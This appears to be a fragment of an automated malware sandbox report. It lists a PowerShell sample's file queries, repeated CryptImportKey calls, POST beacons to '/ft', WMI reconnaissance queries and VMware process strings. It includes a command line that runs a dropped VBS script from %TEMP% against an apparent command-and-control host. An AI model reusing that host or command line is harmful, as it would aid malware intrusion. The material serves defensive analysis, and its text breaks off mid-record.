"C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2959010342 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2959040798 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2959867548 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2960070805 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2960125235 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2960208335 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2960257048 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-2960398166 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006036-00000C17-29604982473e:T6a3,Found string "zHTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found string "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp") Found string "POST /ft?topic=v258&session=742298662&isbn=4802324 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "HTTP/1.1G" (Indicator: "HTTP/1.1"; Source: "00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "255&session=798383871&isbn=4601787 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp") Found string "POST /ft?topic=v255&session=798383871&isbn=4808340 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "HTTP/1.1G" (Indicator: "HTTP/1.1"; Source: "00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "255&session=798383871&isbn=4644580 HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00005276.00000002.259252.E8880000.00000004.mdmp")3f:T23c6,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0286e71bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d0246e71bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "102a6e71bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "902d6e71bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f02a6e71bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e5080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "806ed855bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e5080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "002e6e71bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "10fa7171bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00fe7171bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c0f87171bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30007271bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "80017271bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00057271bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e5080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "f0017271bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "90f27571bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "10fd7571bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e6080" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "70fa7571bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e5280" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30007271bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e5280" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "00057271bb020000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2bb716e5280" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "50f87171bb020000"}40:T58a,Observed system executable string:"CFSFAppDataRoamingMICROS~1WindowsfLhGSTARTM~1ProgramsWINDOW~1WINDOW~1.LNKC:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnkdesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32Eo\fWINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS/C:\WindowsSystem32Eo\fWINDOW~1=K$uv1.0m=K$u.=Kgm powershell_ise.exe=Kgm=Kgm.C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exedesktop-fvvf82a'KPv'KPv1SPS1SPS" [Source: B8QJI8J4JJB1PCN9I2I1.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00006036-00000C2E-3538890206] Observed system executable string:"%WINDIR%\System32\wscript.exe" [Source: 00000000-00006036-00000C47-20196023570] Observed system executable string:""%WINDIR%\System32\wscript.exe" %TEMP%\oklnkae.vbs zoom.05ukweb.uk/ft 1" [Source: 00000000-00006036-00000C47-20196023570] Observed system executable string:""%WINDIR%\System32\wscript.exe" %TEMP%\oklnkae.vbs zoom.05ukweb.uk/ft 2" [Source: 00000000-00006036-00000C47-20302285554]41:Te59,"set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: " win32_computersystem"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: " win32_process"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " win32_operatingsystem"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " win32_computersystem"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " win32_process"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " win32_networkadapterconfiguration"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") "set colItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem",,48)" (Indicator: " win32_computersystem"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: " win32_process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") "set osItems = ObjWMI.ExecQuery("Select * from Win32_OperatingSystem")" (Indicator: " win32_operatingsystem"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") "set csItems=ObjWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem")" (Indicator: " win32_computersystem"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " win32_process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") "set adapItems=ObjWMI.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration",,48)" (Indicator: " win32_networkadapterconfiguration"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") "SELECT * FROM Win32_Processor" (Indicator: " win32_process"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")42:T1108,Found string "2844 0 "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"" (Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "2852 0 C:\WINDOWS\system32\vm3dservice.exe" (Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "2860 0 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"" (Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "6948 1 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp") Found string "am Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.79F30000.00000004.mdmp"), Found string "C:\WINDOWS\system32\vm3dservice.exe" (Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.7A01D000.00000004.mdmp 00000000-00003076.00000002.259256.7A028000.00000004.mdmp"), Found string "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" (Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.7A028000.00000004.mdmp"), Found string ""C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp"), Found string "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" (Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp"), Found string ""C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"" (Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp"), Found string "6948 1 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E8880000.00000004.mdmp"), Found string "2844 0 "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E8880000.00000004.mdmp"), Found string "2852 0 C:\WINDOWS\system32\vm3dservice.exe" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E8880000.00000004.mdmp"), Found string "2860 0 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E8880000.00000004.mdmp"), Found string "C:\WINDOWS\system32\vm3dservice.exe" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E8880000.00000004.mdmp"), Found string "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp"), Found string ""C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp"), Found string ""C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"" (Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp")43:T11ca,Found string "2844 0 "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"" (Indicator: "VGAuthService.exe"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "2860 0 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"" (Indicator: "vmtoolsd.exe"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "6948 1 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.763CF000.00000004.mdmp, 00000000-00003076.00000002.259256.79F30000.00000004.mdmp, 00000000-00003076.00000002.259256.7A00E000.00000004.mdmp") Found string "am Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.79F30000.00000004.mdmp"), Found string "vmtoolsd.exe" (Indicator: "vmtoolsd.exe"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.7A028000.00000004.mdmp"), Found string "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" (Indicator: "vmtoolsd.exe"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp 00000000-00003076.00000002.259256.7A028000.00000004.mdmp"), Found string ""C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00003076.00000001.257334.79F30000.00000004.mdmp"), Found string "Tools\vmtoolsd.exe" -n vmusr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "VGAuthService.exe" (Indicator: "VGAuthService.exe"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" (Indicator: "VGAuthService.exe"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string ""C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"" (Indicator: "VGAuthService.exe"; Source: "00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "6948 1 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "2844 0 "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"" (Indicator: "VGAuthService.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "2860 0 "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E8880000.00000004.mdmp") Found string "vmtoolsd.exe" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string ""C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string ""C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"" (Indicator: "vmtoolsd.exe"; Source: "00000000-00005276.00000001.257334.E8880000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp")44:T530,Found string "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: " Win32_Process"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set cpuItems=ObjWMI.ExecQuery( "SELECT * FROM Win32_Processor")" (Indicator: " Win32_Process"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "set prclst = objWMIService.ExecQuery ("Select * from Win32_Process")" (Indicator: " Win32_Process"; Source: 